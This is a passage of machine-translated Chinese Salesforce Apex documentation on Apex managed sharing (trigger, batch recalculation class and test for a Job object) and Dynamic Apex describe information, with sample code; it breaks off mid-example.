Schema.Job__Share.rowCause.Recruiter__c

有关更多信息,请参见 System.Schema 类。要创建 Apex 共享原因,请执行以下操作:

  1. 在自定义对象的管理设置中,单击“Apex 共享原因”中的“新建”相关 列表。
  2. 输入 Apex 共享原因的标签。查看记录的共享时,标签将显示在“原因”列中 在用户界面中。该标签还可通过 翻译工作台。
  3. 输入 Apex 共享原因的名称。引用时使用该名称 API 和 Apex 中的原因。此名称只能包含下划线和 字母数字字符,并且在您的组织中必须是唯一的。它必须以 字母,不包含空格,不以下划线结尾,也不包含 连续两个下划线。
  4. 点击保存

注意

Apex 共享原因和 Apex 托管共享重新计算仅适用于 自定义对象。

Apex 托管共享示例

在此示例中,假设您正在构建一个招聘应用程序,并且有一个 名为 Job 的对象。您想要验证招聘人员和招聘经理是否列出了 在工作中可以访问记录。以下触发器授予招聘人员和 创建作业记录时的招聘经理访问权限。此示例需要自定义 名为 Job 的对象,其中两个查找字段与名为 Hiring_Manager和招聘人员。此外,作业自定义对象应具有两个共享 添加了称为Hiring_Manager和招聘人员的原因。

trigger JobApexSharing on Job__c (after insert) {
    
    if(trigger.isInsert){
        // Create a new list of sharing objects for Job
        List<Job__Share> jobShrs  = new List<Job__Share>();
        
        // Declare variables for recruiting and hiring manager sharing
        Job__Share recruiterShr;
        Job__Share hmShr;
        
        for(Job__c job : trigger.new){
            // Instantiate the sharing objects
            recruiterShr = new Job__Share();
            hmShr = new Job__Share();
            
            // Set the ID of record being shared
            recruiterShr.ParentId = job.Id;
            hmShr.ParentId = job.Id;
            
            // Set the ID of user or group being granted access
            recruiterShr.UserOrGroupId = job.Recruiter__c;
            hmShr.UserOrGroupId = job.Hiring_Manager__c;
            
            // Set the access level
            recruiterShr.AccessLevel = 'edit';
            hmShr.AccessLevel = 'read';
            
            // Set the Apex sharing reason for hiring manager and recruiter
            recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
            hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
            
            // Add objects to list for insert
            jobShrs.add(recruiterShr);
            jobShrs.add(hmShr);
        }
        
        // Insert sharing records and capture save result 
        // The false parameter allows for partial processing if multiple records are passed 
        // into the operation 
        Database.SaveResult[] lsr = Database.insert(jobShrs,false);
        
        // Create counter
        Integer i=0;
        
        // Process the save results
        for(Database.SaveResult sr : lsr){
            if(!sr.isSuccess()){
                // Get the first save result error
                Database.Error err = sr.getErrors()[0];
                
                // Check if the error is related to a trivial access level
                // Access levels equal or more permissive than the object's default 
                // access level are not allowed. 
                // These sharing records are not required and thus an insert exception is 
                // acceptable. 
                if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION  
                                               &&  err.getMessage().contains('AccessLevel'))){
                    // Throw an error when the error is not related to trivial access level.
                    trigger.newMap.get(jobShrs[i].ParentId).
                      addError(
                       'Unable to grant sharing access due to following exception: '
                       + err.getMessage());
                }
            }
            i++;
        }   
    }
    
}

在某些情况下,插入共享行会导致 现有共享行。请看以下示例:

  • 手动共享访问级别设置为“读取”,并插入一个新级别,设置为 写。原始共享行将更新为“写入”,指示较高的 访问级别。
  • 用户可以访问帐户,因为他们可以访问其子记录 (联系人、案例、商机等)。如果帐户共享规则是 created,共享规则行原因(这是更高的访问级别) 替换父级隐式共享行原因,指示 访问。

重要

对象的组织范围的默认访问级别必须 未设置为最宽松的访问级别。对于自定义对象,此级别为 公共读/写。有关详细信息,请参阅了解共享。

为 Customer Community Plus 用户创建 Apex 托管共享

Customer Community Plus 用户以前称为 Customer Portal 用户。共享 这些用户无法使用对象,例如 和 。如果 您必须以Customer Community Plus用户身份使用共享对象,请考虑使用一个 trigger,默认情况下使用关键字进行操作。否则,请使用具有相同 关键字使 DML 操作能够成功运行。单独的实用程序类 也可用于启用此访问。AccountShareContactSharewithout sharing

支持通过写入共享对象的手动/顶点共享授予可见性 但对象本身对Customer Community Plus用户不可用。 但是,其他用户可以添加授予对Customer Community Plus访问权限的共享 用户。

警告

启用数字体验后,角色和 通过 Apex 托管共享的下属会自动提供给角色, 内部和门户下属。要保护外部用户的访问权限,请更新您的 Apex 代码,以便创建与 Role 和 Internal Subordinates 组的共享。因为 此转换是大规模操作,请考虑使用批处理 Apex。

重新计算 Apex 托管共享

Salesforce 会自动重新计算对象上所有记录的共享,当其 组织范围的共享默认访问级别更改。重新计算添加托管 在适当的时候分享。此外,如果访问 他们授予被认为是多余的。例如,手动共享,它授予只读 对用户的访问权限,当对象的共享模型从 Private 更改时,将删除对用户的访问权限 更改为公共只读。

若要重新计算 Apex 托管共享,必须编写一个实现 Salesforce 提供的用于重新计算的界面。然后,您必须关联该类 与自定义对象一起使用,在自定义对象的详细信息页面上,在 Apex 共享中 重新计算相关列表。

注意

Apex 共享原因和 Apex 托管共享重新计算仅适用于 自定义对象。

您可以从自定义对象详细信息页面执行此类,其中 Apex 共享 指定原因。管理员可能需要重新计算 Apex 托管共享 如果锁定问题阻止 Apex 代码向用户授予访问权限,则对象为 由应用程序的逻辑定义。还可以使用 Database.executeBatch 方法以编程方式调用 Apex 托管共享重新计算。

注意

每次自定义对象的组织范围共享默认访问级别为 更新时,为关联的自定义对象定义的任何 Apex 重新计算类也会 执行。

要监视或停止 Apex 重新计算的执行,请从“设置”中输入“快速查找”框,然后 选择 Apex JobsApex Jobs

创建用于重新计算的 Apex 类 共享

要重新计算 Apex 托管共享,您必须编写一个 Apex 类来执行 重新计算。此类必须实现 Salesforce 提供的接口。Database.Batchable

该接口用于 所有批处理 Apex 进程,包括重新计算 Apex 托管共享。您可以 在组织中多次实现此接口。更多信息 有关必须实现的方法,请参阅使用 Batch Apex。Database.Batchable

在创建 Apex 托管共享重新计算类之前,还要考虑最佳做法。

重要

对象的组织范围的默认访问级别必须 未设置为最宽松的访问级别。对于自定义对象,此级别为 公共读/写。有关详细信息,请参阅了解共享。

Apex 托管共享重新计算 例

在此示例中,假设您正在构建一个 招聘应用程序,并有一个名为 Job 的对象。您想要验证这一点 招聘中列出的招聘人员和招聘经理可以访问 记录。以下 Apex 类执行此验证。此示例需要一个名为 Job 的自定义对象,其中包含两个查找字段 与名为 Hiring_Manager 和 Recruiter 的用户记录相关联。此外,工作 自定义对象应添加两个共享原因,称为 Hiring_Manager 和 招聘。在运行此示例之前,请将电子邮件地址替换为 要向其发送错误通知和作业完成的有效电子邮件地址 通知。

global class JobSharingRecalc implements Database.Batchable<sObject> {
    
    // String to hold email address that emails will be sent to. 
    // Replace its value with a valid email address.
    static String emailAddress = 'admin@yourcompany.com';
    
    // The start method is called at the beginning of a sharing recalculation.
    // This method returns a SOQL query locator containing the records 
    // to be recalculated. 
    global Database.QueryLocator start(Database.BatchableContext BC){
        return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c 
                                         FROM Job__c]);  
    }
    
    // The executeBatch method is called for each chunk of records returned from start.  
    global void execute(Database.BatchableContext BC, List<sObject> scope){
       // Create a map for the chunk of records passed into method.
        Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);  
        
        // Create a list of Job__Share objects to be inserted.
        List<Job__Share> newJobShrs = new List<Job__Share>();
               
        // Locate all existing sharing records for the Job records in the batch.
        // Only records using an Apex sharing reason for this app should be returned. 
        List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN 
             :jobMap.keySet() AND 
            (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
            RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)]; 
        
        // Construct new sharing records for the hiring manager and recruiter 
        // on each Job record.
        for(Job__c job : jobMap.values()){
            Job__Share jobHMShr = new Job__Share();
            Job__Share jobRecShr = new Job__Share();
            
            // Set the ID of user (hiring manager) on the Job record being granted access.
            jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
            
            // The hiring manager on the job should always have 'Read Only' access.
            jobHMShr.AccessLevel = 'Read';
            
            // The ID of the record being shared
            jobHMShr.ParentId = job.Id;
            
            // Set the rowCause to the Apex sharing reason for hiring manager.
            // This establishes the sharing record as Apex managed sharing.
            jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
            
            // Add sharing record to list for insertion.
            newJobShrs.add(jobHMShr);
            
            // Set the ID of user (recruiter) on the Job record being granted access.
            jobRecShr.UserOrGroupId = job.Recruiter__c;
            
            // The recruiter on the job should always have 'Read/Write' access.
            jobRecShr.AccessLevel = 'Edit';
            
            // The ID of the record being shared
            jobRecShr.ParentId = job.Id;
            
            // Set the rowCause to the Apex sharing reason for recruiter.
            // This establishes the sharing record as Apex managed sharing.
            jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
            
         // Add the sharing record to the list for insertion.            
            newJobShrs.add(jobRecShr);
        }
        
        try {
           // Delete the existing sharing records.
           // This allows new sharing records to be written from scratch.
            Delete oldJobShrs;
            
           // Insert the new sharing records and capture the save result. 
           // The false parameter allows for partial processing if multiple records are 
           // passed into operation. 
           Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
           
           // Process the save results for insert.
           for(Database.SaveResult sr : lsr){
               if(!sr.isSuccess()){
                   // Get the first save result error.
                   Database.Error err = sr.getErrors()[0];
                   
                   // Check if the error is related to trivial access level.
                   // Access levels equal or more permissive than the object's default 
                   // access level are not allowed. 
                   // These sharing records are not required and thus an insert exception 
                   // is acceptable. 
                   if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION  
                                     &&  err.getMessage().contains('AccessLevel'))){
                       // Error is not related to trivial access level.
                       // Send an email to the Apex job's submitter.
                     Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
                     String[] toAddresses = new String[] {emailAddress}; 
                     mail.setToAddresses(toAddresses); 
                     mail.setSubject('Apex Sharing Recalculation Exception');
                     mail.setPlainTextBody(
                       'The Apex sharing recalculation threw the following exception: ' + 
                             err.getMessage());
                     Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
                   }
               }
           }   
        } catch(DmlException e) {
           // Send an email to the Apex job's submitter on failure.
            Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
            String[] toAddresses = new String[] {emailAddress}; 
            mail.setToAddresses(toAddresses); 
            mail.setSubject('Apex Sharing Recalculation Exception');
            mail.setPlainTextBody(
              'The Apex sharing recalculation threw the following exception: ' + 
                        e.getMessage());
            Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
        }
    }
    
    // The finish method is called at the end of a sharing recalculation.
    global void finish(Database.BatchableContext BC){  
        // Send an email to the Apex job's submitter notifying of job completion.
        Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
        String[] toAddresses = new String[] {emailAddress}; 
        mail.setToAddresses(toAddresses); 
        mail.setSubject('Apex Sharing Recalculation Completed.');
        mail.setPlainTextBody
                      ('The Apex sharing recalculation finished processing');
        Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
    }
    
}

测试 Apex 托管共享 重新计算

此示例插入 5 个作业记录并调用已实现的批处理作业 在上一示例的 Batch 类中。此示例需要一个自定义对象 称为 Job,其中有两个与用户记录关联的查找字段,称为 Hiring_Manager和招聘人员。此外,作业自定义对象应具有两个共享 添加了称为Hiring_Manager和招聘人员的原因。在运行此测试之前,请将 作业到专用的组织范围默认共享。请注意,由于电子邮件 不是从测试发送的,并且因为批处理类是由测试调用的 方法,在这种情况下不会发送电子邮件通知。

@isTest
private class JobSharingTester {
   
    // Test for the JobSharingRecalc class    
    static testMethod void testApexSharing(){
       // Instantiate the class implementing the Database.Batchable interface.     
        JobSharingRecalc recalc = new JobSharingRecalc();
        
        // Select users for the test.
        List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
        ID User1Id = users[0].Id;
        ID User2Id = users[1].Id;
        
        // Insert some test job records.                 
        List<Job__c> testJobs = new List<Job__c>();
        for (Integer i=0;i<5;i++) {
        Job__c j = new Job__c();
            j.Name = 'Test Job ' + i;
            j.Recruiter__c = User1Id;
            j.Hiring_Manager__c = User2Id;
            testJobs.add(j);
        }
        insert testJobs;
        
        Test.startTest();
        
        // Invoke the Batch class.
        String jobId = Database.executeBatch(recalc);
        
        Test.stopTest();
        
        // Get the Apex job and verify there are no errors.
        AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status, 
                            CompletedDate, CreatedDate, NumberOfErrors 
                            from AsyncApexJob where Id = :jobId];
        System.assertEquals(0, aaj.NumberOfErrors);
      
        // This query returns jobs and related sharing records that were inserted       
        // by the batch job's execute method.     
        List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c, 
            (SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares 
            WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR 
            RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
            FROM Job__c];       
        
        // Validate that Apex managed sharing exists on jobs.     
        for(Job__c job : jobs){
            // Two Apex managed sharing records should exist for each job
            // when using the Private org-wide default. 
            System.assert(job.Shares.size() == 2);
            
            for(Job__Share jobShr : job.Shares){
               // Test the sharing record for hiring manager on job.             
                if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
                    System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c);
                    System.assertEquals(jobShr.AccessLevel,'Read');
                }
                // Test the sharing record for recruiter on job.
                else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
                    System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c);
                    System.assertEquals(jobShr.AccessLevel,'Edit');
                }
            }
        }
    }
}

关联用于 重新计算

用于重新计算的 Apex 类必须与自定义对象相关联。要将 Apex 托管共享重新计算类与自定义对象相关联,请执行以下操作:

  1. 从自定义对象的管理设置中,转到 Apex Sharing 重新计算。
  2. 选择重新计算此对象的 Apex 共享的 Apex 类。 您选择的类必须实现接口。您不能关联相同的 Apex 类多次使用同一个自定义对象。Database.Batchable
  3. 点击保存

ref

动态Apex

Dynamic Apex 通过为开发人员提供 能够:

  • 访问 sObject 和字段描述信息描述信息提供有关 sObject 和字段属性的元数据信息。 例如,sObject 的描述信息包括 该类型的 sObject 支持创建或取消删除等操作, sObject 的名称和标签、sObject 的字段和子对象, 等等。字段的描述信息包括 字段有默认值,是否为计算字段,类型 的领域,依此类推。请注意,描述信息提供 有关组织中对象的信息,而不是个人的信息 记录。
  • 访问 Salesforce 应用程序信息您可以获取以下描述信息 Salesforce 用户界面中提供的标准和自定义应用程序。每个应用对应一个 选项卡的集合。描述应用的信息包括应用的标签、命名空间和选项卡。 选项卡的描述信息包括与选项卡关联的 sObject、选项卡图标和 颜色。
  • 编写动态 SOQL 查询、动态 SOSL 查询和动态 DML动态 SOQL 和 SOSL 查询提供了将 SOQL 或 SOSL 作为 字符串,而动态 DML 提供了创建记录的能力 动态,然后使用 DML 将其插入数据库。使用动态 SOQL、SOSL 和 DML, 应用程序可以精确地针对组织以及用户的 权限。 这对于从以下位置安装的应用程序非常有用 AppExchange。
  1. 了解 Apex Describe 信息
  2. 使用字段令牌
  3. 了解描述信息权限
  4. 使用 Schema 方法描述 sObjects
  5. 使用架构方法描述选项卡
  6. 访问所有 sObject
  7. 访问与 sObject 关联的所有数据类别
  8. 动态 SOQL
  9. 动态 SOSL
  10. 动态 DML

了解 Apex Describe 信息

可以使用标记或 Schema 方法描述 sObjects。describeSObjects

Apex 提供了两种数据结构和一种用于 sObject 和字段描述信息的方法:

  • 令牌 – 对 sObject 或字段的轻量级、可序列化引用 在编译时进行验证。这用于令牌描述。
  • 方法 – 类中对一个或多个执行描述的方法 sObject 类型。describeSObjectsSchema
  • Describe result – 包含 s对象或字段。Describe 结果对象不可序列化,在运行时进行验证。 在执行描述时,将返回此结果对象,使用 sObject 标记或 方法。Schema.DescribeSObjectResultdescribeSObjects

使用令牌描述 sObject

这很容易 从标记移动到其描述结果,反之亦然。sObject 和字段标记都具有 返回描述结果的方法 对于该令牌。在描述结果中,和方法 分别返回 sObject 和 field 的标记。getDescribegetSObjectTypegetSObjectField

因为令牌是轻量级的, 使用它们可以使您的代码更快、更高效。例如,使用 sObject 或字段,当您确定代码的 sObject 或字段的类型时 需要使用。可以使用相等运算符 () 比较令牌,以确定 sObject 是否为 Account 对象,因为 example,或者字段是 Name 字段还是自定义计算字段。==

以下代码提供了如何使用令牌和描述结果的一般示例 访问有关 sObject 和字段的信息 性能:

// Create a new account as the generic type sObject
sObject s = new Account();

// Verify that the generic sObject is an Account sObject
System.assert(s.getsObjectType() == Account.sObjectType);

// Get the sObject describe result for the Account object
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();

// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;

// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);

// Get the field describe result from the token
dfr = dfr.getSObjectField().getDescribe();

以下算法显示了您如何 可以在 Apex 中使用描述信息:

  1. 为组织中的 sObject 生成令牌列表或映射(请参阅访问所有 sObject。
  2. 确定需要访问的 sObject。
  3. 生成 sObject 的描述结果。
  4. 如有必要,请为 sObject 生成字段标记的映射(请参阅访问所有字段描述结果以获取 sObject。
  5. 为代码需要访问的字段生成描述结果。

使用 sObject 令 牌

SObjects,如 Account 和 MyCustomObject__c,充当具有特殊 static 的静态类 用于访问令牌和描述结果信息的方法和成员变量。您必须 在编译时显式引用 sObject 和字段名称以获取对 describe 的访问权限 结果。

若要访问 sObject 的令牌,请使用下列方法之一:

  • 访问 sObject 上的成员变量 类型,例如 Account。sObjectType
  • 在 sObject 上调用该方法 describe result、sObject 变量、列表或映射。getSObjectType

Schema.SObjectType是 sObject 的数据类型 令 牌。

在以下示例中,返回 Account sObject 的令牌:

Schema.sObjectType t = Account.sObjectType;

以下命令还返回帐户 sObject 的令牌:

Account a = new Account();
Schema.sObjectType t = a.getSObjectType();

此示例可用于确定 sObject 或 sObject 列表是否属于 特殊类型:

// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');

// Verify if that sObject variable is an Account token
System.assertEquals(s.getSObjectType(), Account.sObjectType);

// Create a list of generic sObjects 
List<sObject> sobjList = new Account[]{};

// Verify if the list of sObjects contains Account tokens
System.assertEquals(sobjList.getSObjectType(), Account.sObjectType);

某些标准 sObject 具有一个名为 的字段,例如 AssignmentRule、QueueSObject 和 RecordType。对于这些类型 的 sObjects,请始终使用 检索令牌。例如,如果使用该属性,则返回该字段。sObjectTypegetSObjectTypeRecordType.sObjectType

使用 获取 sObject 描述结果 令 牌

要访问 sObject,请使用以下方法之一:

  • 在 sObject 上调用该方法 令 牌。getDescribe
  • 将 Schema 静态变量与 sObject 的名称。例如。sObjectTypeSchema.sObjectType.Lead

Schema.DescribeSObjectResult是数据 type 作为 sObject 描述结果。

下面的示例对 sObject 使用该方法 令 牌:getDescribe

Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();

这 以下示例使用 Schema static 成员 变量:

sObjectType

Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;

为 有关 sObject 描述结果可用的方法的更多信息,请参阅 DescribeSObjectResultClass

使用字段令牌

若要访问字段的令牌,请使用下列方法之一:

  • 访问 sObject 静态类型的静态成员变量名称,例如 .Account.Name
  • 在字段上调用方法 描述结果。getSObjectField

字段 token 使用数据类型 。Schema.SObjectField

在以下示例中,为 Account 对象的字段返回字段 token:Description

Schema.SObjectField fieldToken = Account.Description;

在以下示例中,字段 token 是从字段 describe result 返回的:

// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;

// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);

// Get the describe result from the token
dfr = dfr.getSObjectField().getDescribe();

注意

字段令牌不适用于个人帐户。如果你 访问 出现异常错误。相反,将字段名称指定为字符串。Schema.Account.fieldname

使用字段描述 结果

要访问 字段中,请使用以下方法之一:

  • 在字段上调用方法 令 牌。getDescribe
  • 访问 sObject 的成员变量 具有字段成员变量(如 、 等)的令牌。fieldsNameBillingCity

字段 describe result 使用数据类型 。Schema.DescribeFieldResult

下面的示例使用该方法:getDescribe

Schema.DescribeFieldResult dfr = Account.Description.getDescribe();

这 示例使用 Member 变量方法:fields

Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;

在上面的示例中,系统使用特殊解析来验证 最终成员变量 () 对 在编译时指定的 sObject。当解析器找到成员变量时,它会向后查找 sObject 的名称 ().它验证字段名称 跟在 Member 变量后面是合法的。 成员变量仅在 这种方式。NamefieldsAccountfieldsfields

注意

不要使用成员 变量,而不使用字段成员变量名称或方法。有关详细信息,请参阅下一节。fieldsgetMapgetMap

查看更多 有关字段 describe result 可用的方法的信息,请参阅 DescribeFieldResultClass。

访问所有字段描述结果 对于 sObject

使用字段 describe result 的方法返回一个映射,该映射表示 所有字段名称(键)和字段标记(值)之间的关系 s对象。getMap

以下示例生成一个映射,该映射可用于通过以下方式访问字段 名字:

Map<String, Schema.SObjectField> fieldMap = Schema.SObjectType.Account.fields.getMap();

注意

这 此映射的值类型不是字段描述结果。使用描述结果需要 系统资源过多。相反,它是一个令牌映射,您可以使用它来查找 适当的字段。确定字段后,生成 它。

该地图具有以下特征:

  • 它是动态的,也就是说,它是在运行时在该 sObject 的字段上生成的。
  • 所有字段名称均不区分大小写。
  • 密钥根据需要使用命名空间。
  • 这些键反映字段是否为自定义对象。

字段描述注意事项

描述字段时,请注意以下事项。

  • 从已安装的托管包中执行的字段描述将返回 即使未在安装组织中启用 Chatter,也会使用 Chatter 字段。这不是 如果字段 describe 是从不在已安装的托管类中执行的,则为 true 包。
  • 当您从 在 Apex 类中,无论 保存类的 API 版本。如果字段类型,例如地理位置字段 type,仅在最新的 API 版本中可用,地理位置字段的组件是 即使该类保存在早期的 API 版本中,也返回。

版本化行为更改

在 API 版本 34.0 及更高版本中,自定义 SObjectType 上的 Schema.DescribeSObjectResult 包括以命名空间为前缀的映射键,即使命名空间是当前命名空间的命名空间 执行代码。如果您使用多个命名空间并生成运行时描述数据, 请确保代码使用命名空间前缀正确访问密钥。

了解描述信息权限

Apex 类和触发器在系统模式下运行。类和触发器对 动态查找组织中可用的任何 sObject。您可以生成所有 组织的 sObjects,而不考虑当前用户的权限,除非您正在执行 匿名顶点。

当您在匿名块中执行描述调用时,用户权限很重要。因此, 如果对正在运行的用户的访问受到限制,则并非所有 sObject 和字段都可以查找。为 例如,如果您在匿名区块中描述帐户字段,并且您无权访问所有字段 字段,但并非所有字段都会返回。但是,对于同一调用,将返回所有字段 顶点类。

有关详细信息,请参阅“关于包中的 API 和动态顶点访问” Salesforce 帮助。

使用 Schema 方法描述 sObjects

作为使用令牌的替代方法,可以通过以下方式描述 sObjects 调用 Schema 方法并传递一个或多个 sObject 类型名称 s要描述的对象。describeSObjects

此示例获取两个 sObject 的描述元数据信息 types – Account 标准对象和自定义Merchandise__c对象 对象。获取每个 sObject 的描述结果后,这 example 将返回的信息写入调试输出,例如 作为 sObject 标签,字段数,是否为自定义对象 或不,以及子关系的数量。

// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};

// Make the describe call
Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);

System.debug('Got describe information for ' + results.size() + ' sObjects.');

// For each returned result, get some info
for(Schema.DescribeSobjectResult res : results) {
    System.debug('sObject Label: ' + res.getLabel());
    System.debug('Number of fields: ' + res.fields.getMap().size());
    System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');
    // Get child relationships
    Schema.ChildRelationship[] rels = res.getChildRelationships();
    if (rels.size() > 0) {
        System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
    }
}

使用架构方法描述选项卡

您可以获取有关应用程序及其选项卡的元数据信息 Salesforce 用户界面,通过在 Apex 中执行描述调用。此外,您可以获得更多 有关每个选项卡的详细信息。分别使用 Schema 方法和 中的方法。describeTabsgetTabsSchema.DescribeTabResult

此示例演示如何获取每个应用的选项卡集。然后,该示例获取 tab 描述 Sales 应用的元数据信息。对于每个选项卡,元数据信息 包括图标 URL、选项卡是否自定义以及颜色等。这 选项卡描述信息将写入调试输出。

// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
    String appLabel = tsr.getLabel();
    System.debug('Label: ' + appLabel);
    System.debug('Logo URL: ' + tsr.getLogoUrl());
    System.debug('isSelected: ' + tsr.isSelected());
    String ns = tsr.getNamespace();
    if (ns == '') {
        System.debug('The ' + appLabel + ' app has no namespace defined.');
    }
    else {
        System.debug('Namespace: ' + ns);
    }
    
    // Display tab info for the Sales app
    if (appLabel == 'Sales') {
        List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
        System.debug('-- Tab information for the Sales app --');
        for(Schema.DescribeTabResult tr : tabDesc) {
            System.debug('getLabel: ' + tr.getLabel());
            System.debug('getColors: ' + tr.getColors());
            System.debug('getIconUrl: ' + tr.getIconUrl());
            System.debug('getIcons: ' + tr.getIcons());
            System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
            System.debug('getSobjectName: ' + tr.getSobjectName());
            System.debug('getUrl: ' + tr.getUrl());
            System.debug('isCustom: ' + tr.isCustom());
        }
    }
}

// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://MyDomainName.my.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors: (Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;], 
//       Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;], 
//       Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons: (Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
//       getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts32.png;getWidth=32;], 
//       Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
//       getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://MyDomainName.my.salesforce.com/001/o
// DEBUG|isCustom: false

访问所有 sObject

使用 Schema 方法返回一个映射,该映射表示 所有 sObject 名称(键)到 sObject 令牌(值)。例如:getGlobalDescribe

Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

该地图具有以下特征:

  • 它是动态的,也就是说,它是在运行时在 sObject 上生成的 当前可用于组织,具体取决于权限。
  • sObject 名称不区分大小写。
  • 键以命名空间为前缀(如果有)。*
  • 这些键反映 sObject 是否为自定义对象。

*从使用 Salesforce API 版本 28.0 保存的 Apex 开始,映射中返回的键始终以 命名空间(如果有)的运行代码。例如,如果进行调用的代码块位于命名空间 NS1 中,并且自定义 名为 MyObject__c 的对象位于同一命名空间中,则返回的键为 。对于使用早期 API 版本保存的 Apex, 仅当代码块的命名空间和 sObject 的命名空间时,key 才包含命名空间 是不同的。例如,如果生成映射的代码块位于命名空间 N1 中,并且 sObject 也在 N1 中,映射中的键表示为 。但是,如果代码块位于命名空间 N1 中,并且 sObject 位于 命名空间 N2,键为 .getGlobalDescribegetGlobalDescribeNS1__MyObject__cMyObject__cN2__MyObject__c

标准 sObject 没有命名空间前缀。

注意

如果从已安装的托管包调用该方法,它将返回 sObject Chatter sObject 的名称和标记,例如 NewsFeed 和 UserProfileFeed, 即使未在安装组织中启用 Chatter。这 如果该方法是从不在已安装的托管包中的类调用的,则不为 true。getGlobalDescribegetGlobalDescribe

访问关联的所有数据类别 使用 sObject

使用 和 方法返回与特定对象关联的类别:describeDataCategoryGroupsdescribeDataCategoryGroupStructures

  1. 返回与所选对象关联的所有类别组(请参见)。describeDataCategoryGroups(sObjectNames)
  2. 从返回的映射中,获取要进一步扩展的类别组名称和 sObject 名称 询问(请参阅 DescribeDataCategoryGroupResult 类)。
  3. 指定类别组和关联的对象,然后检索 此对象可用的类别(请参见)。describeDataCategoryGroupStructures

该方法返回 可用于您指定的类别组中的对象的类别。对于其他 有关数据类别的信息,请参阅 Salesforce Online 中的“使用数据类别” 帮助。describeDataCategoryGroupStructures

在以下示例中,该方法返回所有类别组 与 Article 和 Question 对象相关联。该方法返回所有类别 可用于“区域”类别组中的文章和问题。对于其他 有关文章和问题的信息,请参阅 Salesforce 联机帮助。describeDataCategoryGroupSampledescribeDataCategoryGroupStructures

若要使用以下示例,必须:

  • 启用 Salesforce Knowledge。
  • 启用答案功能。
  • 创建名为“区域”的数据类别组。
  • 将 Regions 指定为 Answers 要使用的数据类别组。
  • 确保将“区域”数据类别组分配给 Salesforce Knowledge。

有关创建数据类别组的详细信息,请参阅“创建和修改类别组”中的 Salesforce 联机帮助。有关答案的更多信息,请参阅 Salesforce 联机帮助。

public class DescribeDataCategoryGroupSample {
   public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){
      List<DescribeDataCategoryGroupResult> describeCategoryResult;
      try {
         //Creating the list of sobjects to use for the describe
         //call
         List<String> objType = new List<String>();

         objType.add('KnowledgeArticleVersion');
         objType.add('Question');

         //Describe Call
         describeCategoryResult = Schema.describeDataCategoryGroups(objType);
   
         //Using the results and retrieving the information
         for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
            //Getting the name of the category
